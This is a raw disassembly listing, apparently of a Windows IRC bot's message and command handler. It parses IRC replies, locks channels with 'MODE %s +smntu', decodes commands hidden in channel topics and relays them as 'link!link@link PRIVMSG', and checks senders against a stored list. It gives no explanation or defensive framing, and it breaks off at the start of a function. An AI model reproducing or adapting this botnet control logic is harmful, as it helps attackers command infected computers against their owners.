push offset aError ; "ERROR"
mov eax, [ebp+arg_C]
push dword ptr [eax]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40DD25
push 0
push 0
push 0
call sub_40D366
add esp, 0Ch
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DD25: ; CODE XREF: sub_40D871+49Fj
push offset aJoin ; "JOIN"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40DD97
push offset byte_41EE48
push [ebp+arg_4]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40DD97
mov eax, [ebp+arg_C]
cmp dword ptr [eax+8], 0
jz short loc_40DD97
mov eax, [ebp+arg_C]
mov eax, [eax+8]
movsx eax, byte ptr [eax]
cmp eax, 3Ah
jnz short loc_40DD74
mov eax, [ebp+arg_C]
mov eax, [eax+8]
inc eax
mov [ebp+var_7E8], eax
jmp short loc_40DD80
; ---------------------------------------------------------------------------
loc_40DD74: ; CODE XREF: sub_40D871+4F2j
mov eax, [ebp+arg_C]
mov eax, [eax+8]
mov [ebp+var_7E8], eax
loc_40DD80: ; CODE XREF: sub_40D871+501j
push [ebp+var_7E8]
push offset aModeSSmntu ; "MODE %s +smntu"
call sub_40D6CB
pop ecx
pop ecx
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DD97: ; CODE XREF: sub_40D871+4C8j
; sub_40D871+4DBj ...
push offset a001 ; "001"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz loc_40DE70
push 21h
mov eax, [ebp+arg_C]
push dword ptr [eax+8]
lea eax, [ebp+var_4B4]
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
lea eax, [ebp+var_4B4]
push eax
push offset byte_41EE48
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
lea eax, [ebp+var_4B4]
push eax
push offset aModeSXi ; "MODE %s +xi"
call sub_40D6CB
pop ecx
pop ecx
push offset dword_41ED48
push offset dword_41DAB4
push offset dword_419AD0
call sub_40D6CB
add esp, 0Ch
lea eax, [ebp+var_490]
push eax
call sub_40CF25
push eax
call sub_40449C
pop ecx
pop ecx
test eax, eax
jz short loc_40DE58
lea eax, [ebp+var_490]
push eax
call sub_4041B7
pop ecx
test eax, eax
jz short loc_40DE43
lea eax, [ebp+var_4B4]
push eax
push offset aUserhostS ; "USERHOST %s"
call sub_40D6CB
pop ecx
pop ecx
jmp short loc_40DE56
; ---------------------------------------------------------------------------
loc_40DE43: ; CODE XREF: sub_40D871+5BBj
lea eax, [ebp+var_490]
push eax
push offset dword_41EF48
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_40DE56: ; CODE XREF: sub_40D871+5D0j
jmp short loc_40DE6B
; ---------------------------------------------------------------------------
loc_40DE58: ; CODE XREF: sub_40D871+5AAj
lea eax, [ebp+var_4B4]
push eax
push offset aUserhostS ; "USERHOST %s"
call sub_40D6CB
pop ecx
pop ecx
loc_40DE6B: ; CODE XREF: sub_40D871:loc_40DE56j
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DE70: ; CODE XREF: sub_40D871+53Aj
push offset a451 ; "451"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40DE96
push 0
push 1
call sub_40D043
pop ecx
pop ecx
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DE96: ; CODE XREF: sub_40D871+613j
push offset a302 ; "302"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz loc_40DF3E
mov eax, [ebp+arg_C]
cmp dword ptr [eax+0Ch], 0
jnz short loc_40DEBE
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DEBE: ; CODE XREF: sub_40D871+646j
push offset a@ ; "@"
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_5B8], eax
cmp [ebp+var_5B8], 0
jnz short loc_40DEE4
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DEE4: ; CODE XREF: sub_40D871+66Cj
push 100h
mov eax, [ebp+var_5B8]
inc eax
push eax
push offset dword_41EF48
call sub_407A56
add esp, 0Ch
lea eax, [ebp+var_5B4]
push eax
mov eax, [ebp+var_5B8]
inc eax
push eax
call sub_404612
pop ecx
pop ecx
movzx eax, al
test eax, eax
jnz short loc_40DF20
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DF20: ; CODE XREF: sub_40D871+6A8j
push 100h
lea eax, [ebp+var_5B4]
push eax
push offset dword_41EF48
call sub_407A56
add esp, 0Ch
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DF3E: ; CODE XREF: sub_40D871+639j
push offset aNick ; "NICK"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40DF8E
mov eax, [ebp+arg_C]
cmp dword ptr [eax+8], 0
jnz short loc_40DF62
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DF62: ; CODE XREF: sub_40D871+6EAj
push offset byte_41EE48
push [ebp+arg_4]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40DF89
mov eax, [ebp+arg_C]
mov eax, [eax+8]
inc eax
push eax
push offset byte_41EE48
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_40DF89: ; CODE XREF: sub_40D871+702j
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DF8E: ; CODE XREF: sub_40D871+6E1j
push offset a332 ; "332"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jnz loc_40E128
mov eax, [ebp+arg_10]
cmp dword ptr [eax+10h], 0
jz short loc_40DFBF
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
movsx eax, byte ptr [eax+1]
test eax, eax
jnz short loc_40DFC4
loc_40DFBF: ; CODE XREF: sub_40D871+73Ej
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DFC4: ; CODE XREF: sub_40D871+74Cj
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
movsx eax, byte ptr [eax+1]
cmp eax, 3Dh
jnz loc_40E05F
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
inc eax
push eax
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
inc eax
inc eax
push eax
call sub_40E9C9
pop ecx
pop ecx
mov [ebp+var_5BC], eax
push [ebp+var_5BC]
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
inc eax
push eax
call sub_40F040
pop ecx
pop ecx
mov [ebp+var_5BC], eax
push [ebp+var_5BC]
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
inc eax
push eax
call sub_40EF41
pop ecx
pop ecx
mov eax, [ebp+arg_10]
cmp dword ptr [eax+14h], 0
jz short loc_40E04E
mov eax, [ebp+arg_10]
push dword ptr [eax+14h]
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
mov ecx, [ebp+var_5BC]
lea eax, [eax+ecx+1]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_40E05F
; ---------------------------------------------------------------------------
loc_40E04E: ; CODE XREF: sub_40D871+7BBj
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
mov ecx, [ebp+var_5BC]
and byte ptr [eax+ecx+1], 0
loc_40E05F: ; CODE XREF: sub_40D871+760j
; sub_40D871+7DBj
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
movsx eax, byte ptr [eax+1]
test eax, eax
jz loc_40E123
lea eax, [ebp+var_7C4]
push eax
push offset asc_41A07C ; "]["
mov eax, [ebp+arg_10]
mov eax, [eax+10h]
inc eax
push eax
call sub_40813C
add esp, 0Ch
mov [ebp+var_7C0], eax
and [ebp+var_7C8], 0
loc_40E09A: ; CODE XREF: sub_40D871+8ADj
cmp [ebp+var_7C0], 0
jnz short loc_40E0A5
jmp short loc_40E123
; ---------------------------------------------------------------------------
loc_40E0A5: ; CODE XREF: sub_40D871+830j
; sub_40D871+851j
mov eax, [ebp+var_7C0]
movsx eax, byte ptr [eax]
cmp eax, 20h
jz short loc_40E0B5
jmp short loc_40E0C4
; ---------------------------------------------------------------------------
loc_40E0B5: ; CODE XREF: sub_40D871+840j
mov eax, [ebp+var_7C0]
inc eax
mov [ebp+var_7C0], eax
jmp short loc_40E0A5
; ---------------------------------------------------------------------------
loc_40E0C4: ; CODE XREF: sub_40D871+842j
push [ebp+var_7C0]
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
push 200h
lea eax, [ebp+var_7BC]
push eax
call sub_416BAE ; _snprintf
add esp, 14h
lea eax, [ebp+var_7BC]
push eax
call sub_40E618
pop ecx
lea eax, [ebp+var_7C4]
push eax
push offset asc_41A07C ; "]["
push 0
call sub_40813C
add esp, 0Ch
mov [ebp+var_7C8], eax
mov eax, [ebp+var_7C8]
mov [ebp+var_7C0], eax
jmp loc_40E09A
; ---------------------------------------------------------------------------
loc_40E123: ; CODE XREF: sub_40D871+7FAj
; sub_40D871+832j
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40E128: ; CODE XREF: sub_40D871+731j
cmp [ebp+arg_0], 0
jz short loc_40E153
mov eax, [ebp+arg_C]
cmp dword ptr [eax+8], 0
jz short loc_40E153
mov eax, [ebp+arg_C]
cmp dword ptr [eax+0Ch], 0
jz short loc_40E153
push offset byte_41EE48
push [ebp+arg_4]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40E158
loc_40E153: ; CODE XREF: sub_40D871+8BBj
; sub_40D871+8C4j ...
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40E158: ; CODE XREF: sub_40D871+8E0j
mov eax, [ebp+arg_C]
mov eax, [eax+0Ch]
inc eax
mov ecx, [ebp+arg_C]
mov [ecx+0Ch], eax
mov eax, [ebp+arg_10]
mov eax, [eax+0Ch]
inc eax
mov ecx, [ebp+arg_10]
mov [ecx+0Ch], eax
push offset aPrivmsg ; "PRIVMSG"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40E1C0
mov eax, [ebp+arg_C]
mov eax, [eax+0Ch]
movsx eax, byte ptr [eax]
cmp eax, 1
jnz short loc_40E1AB
mov eax, [ebp+arg_4]
mov [ebp+var_90], eax
mov [ebp+var_84], 3
jmp short loc_40E1BE
; ---------------------------------------------------------------------------
loc_40E1AB: ; CODE XREF: sub_40D871+923j
mov eax, [ebp+arg_C]
mov eax, [eax+8]
mov [ebp+var_90], eax
and [ebp+var_84], 0
loc_40E1BE: ; CODE XREF: sub_40D871+938j
jmp short loc_40E216
; ---------------------------------------------------------------------------
loc_40E1C0: ; CODE XREF: sub_40D871+915j
push offset aNotice ; "NOTICE"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40E211
mov eax, [ebp+arg_C]
mov eax, [eax+0Ch]
movsx eax, byte ptr [eax]
cmp eax, 1
jnz short loc_40E1F9
mov eax, [ebp+arg_4]
mov [ebp+var_90], eax
mov [ebp+var_84], 3
jmp short loc_40E20F
; ---------------------------------------------------------------------------
loc_40E1F9: ; CODE XREF: sub_40D871+971j
mov eax, [ebp+arg_C]
mov eax, [eax+8]
mov [ebp+var_90], eax
mov [ebp+var_84], 1
loc_40E20F: ; CODE XREF: sub_40D871+986j
jmp short loc_40E216
; ---------------------------------------------------------------------------
loc_40E211: ; CODE XREF: sub_40D871+963j
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40E216: ; CODE XREF: sub_40D871:loc_40E1BEj
; sub_40D871:loc_40E20Fj
cmp [ebp+var_84], 3
jnz loc_40E321
mov eax, [ebp+arg_C]
mov eax, [eax+0Ch]
inc eax
mov ecx, [ebp+arg_C]
mov [ecx+0Ch], eax
mov eax, [ebp+arg_10]
mov eax, [eax+0Ch]
inc eax
mov ecx, [ebp+arg_10]
mov [ecx+0Ch], eax
and [ebp+var_7CC], 0
jmp short loc_40E253
; ---------------------------------------------------------------------------
loc_40E246: ; CODE XREF: sub_40D871:loc_40E31Cj
mov eax, [ebp+var_7CC]
inc eax
mov [ebp+var_7CC], eax
loc_40E253: ; CODE XREF: sub_40D871+9D3j
mov eax, [ebp+var_7CC]
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx+eax*4], 0
jz short loc_40E26B
cmp [ebp+var_7CC], 0Fh
jnz short loc_40E2B8
loc_40E26B: ; CODE XREF: sub_40D871+9EFj
mov eax, [ebp+var_7CC]
mov ecx, [ebp+arg_10]
push dword ptr [ecx+eax*4]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_7D4], eax
mov eax, [ebp+var_7CC]
mov ecx, [ebp+arg_C]
mov eax, [ecx+eax*4]
mov ecx, [ebp+var_7D4]
movsx eax, byte ptr [eax+ecx-1]
cmp eax, 1
jnz short loc_40E2B6
mov eax, [ebp+var_7CC]
mov ecx, [ebp+arg_C]
mov eax, [ecx+eax*4]
mov ecx, [ebp+var_7D4]
mov byte ptr [eax+ecx-1], 1
loc_40E2B6: ; CODE XREF: sub_40D871+A2Cj
jmp short loc_40E321
; ---------------------------------------------------------------------------
loc_40E2B8: ; CODE XREF: sub_40D871+9F8j
mov eax, [ebp+var_7CC]
mov ecx, [ebp+arg_C]
push dword ptr [ecx+eax*4]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_7D0], eax
mov eax, [ebp+var_7CC]
mov ecx, [ebp+arg_C]
mov eax, [ecx+eax*4]
mov ecx, [ebp+var_7D0]
movsx eax, byte ptr [eax+ecx-1]
cmp eax, 1
jnz short loc_40E31C
mov eax, [ebp+var_7CC]
mov ecx, [ebp+arg_C]
mov eax, [ecx+eax*4]
mov ecx, [ebp+var_7D0]
and byte ptr [eax+ecx-1], 0
mov eax, [ebp+var_7CC]
mov ecx, [ebp+arg_10]
mov eax, [ecx+eax*4]
mov ecx, [ebp+var_7D0]
and byte ptr [eax+ecx-1], 0
jmp short loc_40E321
; ---------------------------------------------------------------------------
loc_40E31C: ; CODE XREF: sub_40D871+A79j
jmp loc_40E246
; ---------------------------------------------------------------------------
loc_40E321: ; CODE XREF: sub_40D871+9ACj
; sub_40D871:loc_40E2B6j ...
push offset byte_41EE48
push [ebp+var_90]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40E340
mov eax, [ebp+arg_4]
mov [ebp+var_90], eax
loc_40E340: ; CODE XREF: sub_40D871+AC4j
push 7Ah
push 0
lea eax, [ebp+var_7C]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+arg_10]
mov eax, [eax]
mov [ebp+var_88], eax
and [ebp+var_8C], 0
mov eax, [ebp+arg_10]
push dword ptr [eax]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_80], eax
loc_40E370: ; CODE XREF: sub_40D871:loc_40E3F2j
cmp [ebp+var_80], 3
jnb short loc_40E378
jmp short loc_40E3F7
; ---------------------------------------------------------------------------
loc_40E378: ; CODE XREF: sub_40D871+B03j
mov eax, [ebp+var_88]
add eax, [ebp+var_80]
movsx eax, byte ptr [eax-1]
cmp eax, 20h
jnz short loc_40E393
mov eax, [ebp+var_80]
dec eax
mov [ebp+var_80], eax
jmp short loc_40E3F2
; ---------------------------------------------------------------------------
loc_40E393: ; CODE XREF: sub_40D871+B17j
mov eax, [ebp+var_88]
add eax, [ebp+var_80]
movsx eax, byte ptr [eax-3]
cmp eax, 20h
jnz short loc_40E3F0
mov eax, [ebp+var_88]
add eax, [ebp+var_80]
movsx eax, byte ptr [eax-2]
cmp eax, 2Dh
jnz short loc_40E3F0
mov eax, [ebp+var_88]
add eax, [ebp+var_80]
movsx eax, byte ptr [eax-1]
cmp eax, 7Ah
jg short loc_40E3F0
mov [ebp+var_8C], 1
mov eax, [ebp+var_88]
add eax, [ebp+var_80]
movsx eax, byte ptr [eax-1]
mov [ebp+eax+var_7C], 1
mov eax, [ebp+var_80]
sub eax, 3
mov [ebp+var_80], eax
jmp short loc_40E3F2
; ---------------------------------------------------------------------------
loc_40E3F0: ; CODE XREF: sub_40D871+B32j
; sub_40D871+B44j ...
jmp short loc_40E3F7
; ---------------------------------------------------------------------------
loc_40E3F2: ; CODE XREF: sub_40D871+B20j
; sub_40D871+B7Dj
jmp loc_40E370
; ---------------------------------------------------------------------------
loc_40E3F7: ; CODE XREF: sub_40D871+B05j
; sub_40D871:loc_40E3F0j
cmp [ebp+var_8C], 0
jz loc_40E4CC
and [ebp+var_7D8], 0
jmp short loc_40E41A
; ---------------------------------------------------------------------------
loc_40E40D: ; CODE XREF: sub_40D871:loc_40E4C7j
mov eax, [ebp+var_7D8]
inc eax
mov [ebp+var_7D8], eax
loc_40E41A: ; CODE XREF: sub_40D871+B9Aj
cmp [ebp+var_7D8], 10h
jnb loc_40E4CC
mov eax, [ebp+var_7D8]
mov ecx, [ebp+arg_10]
cmp dword ptr [ecx+eax*4], 0
jnz short loc_40E43B
jmp loc_40E4CC
; ---------------------------------------------------------------------------
loc_40E43B: ; CODE XREF: sub_40D871+BC3j
mov eax, [ebp+var_88]
add eax, [ebp+var_80]
mov ecx, [ebp+var_7D8]
mov edx, [ebp+arg_10]
cmp [edx+ecx*4], eax
jb short loc_40E4C7
cmp [ebp+var_8C], 0
jz short loc_40E48F
cmp [ebp+var_7D8], 0
jz short loc_40E488
mov eax, [ebp+var_7D8]
mov ecx, [ebp+arg_C]
push dword ptr [ecx+eax*4-4]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_7D8]
mov edx, [ebp+arg_10]
mov ecx, [edx+ecx*4-4]
and byte ptr [ecx+eax], 0
loc_40E488: ; CODE XREF: sub_40D871+BF1j
and [ebp+var_8C], 0
loc_40E48F: ; CODE XREF: sub_40D871+BE8j
mov eax, [ebp+var_7D8]
mov ecx, [ebp+arg_10]
mov eax, [ecx+eax*4]
and byte ptr [eax], 0
mov eax, [ebp+var_7D8]
mov ecx, [ebp+arg_C]
mov eax, [ecx+eax*4]
and byte ptr [eax], 0
mov eax, [ebp+var_7D8]
mov ecx, [ebp+arg_10]
and dword ptr [ecx+eax*4], 0
mov eax, [ebp+var_7D8]
mov ecx, [ebp+arg_C]
and dword ptr [ecx+eax*4], 0
loc_40E4C7: ; CODE XREF: sub_40D871+BDFj
jmp loc_40E40D
; ---------------------------------------------------------------------------
loc_40E4CC: ; CODE XREF: sub_40D871+B8Dj
; sub_40D871+BB0j ...
push offset byte_41EE48
mov eax, [ebp+arg_C]
push dword ptr [eax+8]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40E513
mov eax, [ebp+arg_10]
add eax, 0Ch
push eax
mov eax, [ebp+arg_C]
add eax, 0Ch
push eax
lea eax, [ebp+var_7C]
push eax
push [ebp+var_84]
push [ebp+var_90]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_40A9CF
add esp, 1Ch
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40E513: ; CODE XREF: sub_40D871+C6Fj
mov eax, [ebp+arg_C]
cmp dword ptr [eax+10h], 0
jnz short loc_40E521
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40E521: ; CODE XREF: sub_40D871+CA9j
and [ebp+var_7DC], 0
push offset asc_41A070 ; "*"
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40E54A
mov [ebp+var_7DC], 1
jmp loc_40E5DE
; ---------------------------------------------------------------------------
loc_40E54A: ; CODE XREF: sub_40D871+CCBj
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
push offset byte_41EE48
call sub_40A6EB
pop ecx
pop ecx
movzx eax, al
test eax, eax
jz short loc_40E56C
mov [ebp+var_7DC], 1
jmp short loc_40E5DE
; ---------------------------------------------------------------------------
loc_40E56C: ; CODE XREF: sub_40D871+CF0j
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416B40 ; strlen
pop ecx
cmp eax, 4
ja short loc_40E5DE
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+arg_C]
mov ecx, [ecx+0Ch]
movsx eax, byte ptr [ecx+eax-1]
cmp eax, 25h
jnz short loc_40E5DE
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+arg_C]
mov ecx, [ecx+0Ch]
and byte ptr [ecx+eax-1], 0
call sub_410422
xor edx, edx
push 64h
pop ecx
div ecx
inc edx
mov [ebp+var_7E0], edx
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416B9C ; atoi
pop ecx
cmp eax, [ebp+var_7E0]
jl short loc_40E5DE
mov [ebp+var_7DC], 1
loc_40E5DE: ; CODE XREF: sub_40D871+CD4j
; sub_40D871+CF9j ...
movzx eax, [ebp+var_7DC]
test eax, eax
jz short loc_40E615
mov eax, [ebp+arg_10]
add eax, 10h
push eax
mov eax, [ebp+arg_C]
add eax, 10h
push eax
lea eax, [ebp+var_7C]
push eax
push [ebp+var_84]
push [ebp+var_90]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_40A9CF
add esp, 1Ch
loc_40E615: ; CODE XREF: sub_40D871+31j
; sub_40D871+4Cj ...
pop edi
leave
retn
sub_40D871 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E618 proc near ; CODE XREF: sub_40C93C+A8p
; sub_40D871+87Fp ...
var_1194 = dword ptr -1194h
var_1190 = dword ptr -1190h
var_118C = byte ptr -118Ch
var_1180 = dword ptr -1180h
var_114C = dword ptr -114Ch
var_1148 = dword ptr -1148h
var_1144 = dword ptr -1144h
var_113C = dword ptr -113Ch
var_1138 = dword ptr -1138h
var_1109 = byte ptr -1109h
var_1108 = byte ptr -1108h
var_1089 = byte ptr -1089h
var_1088 = byte ptr -1088h
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1194h
call sub_416BC0
and [ebp+var_4], 0
push 10h
lea eax, [ebp+var_118C]
push eax
lea eax, [ebp+var_1148]
push eax
lea eax, [ebp+var_1088]
push eax
push [ebp+arg_0]
call sub_407928
add esp, 14h
push offset a302 ; "302"
push [ebp+var_1144]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40E66D
mov dword_41E9AC, 1
jmp short loc_40E674
; ---------------------------------------------------------------------------
loc_40E66D: ; CODE XREF: sub_40E618+47j
and dword_41E9AC, 0
loc_40E674: ; CODE XREF: sub_40E618+53j
cmp [ebp+var_1148], 0
jz short loc_40E686
cmp [ebp+var_1144], 0
jnz short loc_40E68B
loc_40E686: ; CODE XREF: sub_40E618+63j
jmp locret_40E941
; ---------------------------------------------------------------------------
loc_40E68B: ; CODE XREF: sub_40E618+6Cj
push offset aPrivmsg ; "PRIVMSG"
push [ebp+var_1144]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jz short loc_40E6BB
push offset aNotice ; "NOTICE"
push [ebp+var_1144]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz loc_40E7A5
loc_40E6BB: ; CODE XREF: sub_40E618+87j
cmp [ebp+var_113C], 0
jz loc_40E7A5
cmp [ebp+var_1138], 0
jnz loc_40E7A5
mov eax, [ebp+var_113C]
movsx eax, byte ptr [eax]
cmp eax, 3Ah
jnz loc_40E7A5
mov eax, [ebp+var_113C]
movsx eax, byte ptr [eax+1]
cmp eax, 3Dh
jnz loc_40E7A5
mov eax, [ebp+var_113C]
movsx eax, byte ptr [eax+2]
test eax, eax
jz loc_40E7A5
mov eax, [ebp+var_113C]
inc eax
inc eax
push eax
call sub_40EC96
pop ecx
test eax, eax
jz loc_40E7A5
mov eax, [ebp+var_113C]
inc eax
push eax
mov eax, [ebp+var_113C]
inc eax
inc eax
push eax
call sub_40E9C9
pop ecx
pop ecx
mov [ebp+var_1190], eax
push [ebp+var_1190]
mov eax, [ebp+var_113C]
inc eax
push eax
call sub_40F040
pop ecx
pop ecx
mov [ebp+var_1190], eax
push [ebp+var_1190]
mov eax, [ebp+var_113C]
inc eax
push eax
call sub_40EF41
pop ecx
pop ecx
mov eax, [ebp+var_113C]
add eax, [ebp+var_1190]
and byte ptr [eax+1], 0
push 0Dh
lea eax, [ebp+var_1180]
push eax
lea eax, [ebp+var_113C]
push eax
push [ebp+var_1180]
push [ebp+var_113C]
call sub_407928
add esp, 14h
loc_40E7A5: ; CODE XREF: sub_40E618+9Dj
; sub_40E618+AAj ...
push offset aLinkLink@link ; "link!link@link"
push [ebp+var_1148]
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jz loc_40E853
and [ebp+var_1194], 0
jmp short loc_40E7D5
; ---------------------------------------------------------------------------
loc_40E7C8: ; CODE XREF: sub_40E618+234j
mov eax, [ebp+var_1194]
inc eax
mov [ebp+var_1194], eax
loc_40E7D5: ; CODE XREF: sub_40E618+1AEj
mov eax, [ebp+var_1194]
cmp off_41DA5C[eax*4], 0
jnz short loc_40E7E7
jmp short loc_40E851
; ---------------------------------------------------------------------------
loc_40E7E7: ; CODE XREF: sub_40E618+1CBj
mov eax, [ebp+var_1194]
push off_41DA5C[eax*4]
call sub_4105FB
pop ecx
mov eax, [ebp+var_1194]
push off_41DA5C[eax*4]
mov eax, [ebp+var_1148]
inc eax
push eax
call sub_40A5BE
pop ecx
pop ecx
movzx eax, al
test eax, eax
jz short loc_40E839
mov eax, [ebp+var_1194]
push off_41DA5C[eax*4]
call sub_4105AD
pop ecx
mov [ebp+var_4], 1
jmp short loc_40E851
; ---------------------------------------------------------------------------
loc_40E839: ; CODE XREF: sub_40E618+203j
mov eax, [ebp+var_1194]
push off_41DA5C[eax*4]
call sub_4105AD
pop ecx
jmp loc_40E7C8
; ---------------------------------------------------------------------------
loc_40E851: ; CODE XREF: sub_40E618+1CDj
; sub_40E618+21Fj
jmp short loc_40E85A
; ---------------------------------------------------------------------------
loc_40E853: ; CODE XREF: sub_40E618+1A1j
mov [ebp+var_4], 1
loc_40E85A: ; CODE XREF: sub_40E618:loc_40E851j
and [ebp+var_88], 0
mov [ebp+var_114C], 1
jmp short loc_40E87A
; ---------------------------------------------------------------------------
loc_40E86D: ; CODE XREF: sub_40E618:loc_40E90Aj
mov eax, [ebp+var_114C]
inc eax
mov [ebp+var_114C], eax
loc_40E87A: ; CODE XREF: sub_40E618+253j
cmp [ebp+var_114C], 80h
jge loc_40E90F
mov eax, [ebp+var_1148]
add eax, [ebp+var_114C]
movsx eax, byte ptr [eax]
cmp eax, 21h
jnz short loc_40E8B6
mov [ebp+var_88], 1
mov eax, [ebp+var_114C]
and byte ptr [ebp+eax+var_88+3], 0
loc_40E8B6: ; CODE XREF: sub_40E618+284j
cmp [ebp+var_88], 0
jnz short loc_40E8DA
mov eax, [ebp+var_1148]
add eax, [ebp+var_114C]
mov ecx, [ebp+var_114C]
mov al, [eax]
mov byte ptr [ebp+ecx+var_88+3], al
loc_40E8DA: ; CODE XREF: sub_40E618+2A5j
mov eax, [ebp+var_1148]
add eax, [ebp+var_114C]
mov ecx, [ebp+var_114C]
mov al, [eax]
mov [ebp+ecx+var_1109], al
mov eax, [ebp+var_1148]
add eax, [ebp+var_114C]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40E90A
jmp short loc_40E90F
; ---------------------------------------------------------------------------
loc_40E90A: ; CODE XREF: sub_40E618+2EEj
jmp loc_40E86D
; ---------------------------------------------------------------------------
loc_40E90F: ; CODE XREF: sub_40E618+26Cj
; sub_40E618+2F0j
and [ebp+var_5], 0
and [ebp+var_1089], 0
lea eax, [ebp+var_118C]
push eax
lea eax, [ebp+var_1148]
push eax
lea eax, [ebp+var_1108]
push eax
lea eax, [ebp+var_84]
push eax
push [ebp+var_4]
call sub_40D871
add esp, 14h
locret_40E941: ; CODE XREF: sub_40E618:loc_40E686j
leave
retn
sub_40E618 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E943 proc near ; CODE XREF: sub_4167F1+2C9p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_40E94E: ; CODE XREF: sub_40E943+32j
mov eax, [ebp+var_4]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40E960
jmp short locret_40E977
; ---------------------------------------------------------------------------
loc_40E960: ; CODE XREF: sub_40E943+19j
push [ebp+var_8]
call sub_407B5E
pop ecx
mov [ebp+var_4], eax
push [ebp+var_8]
call sub_40E618
pop ecx
jmp short loc_40E94E
; ---------------------------------------------------------------------------
locret_40E977: ; CODE XREF: sub_40E943+1Bj
leave
retn
sub_40E943 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E979 proc near ; CODE XREF: sub_4167F1+E4p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_40E98A
; ---------------------------------------------------------------------------
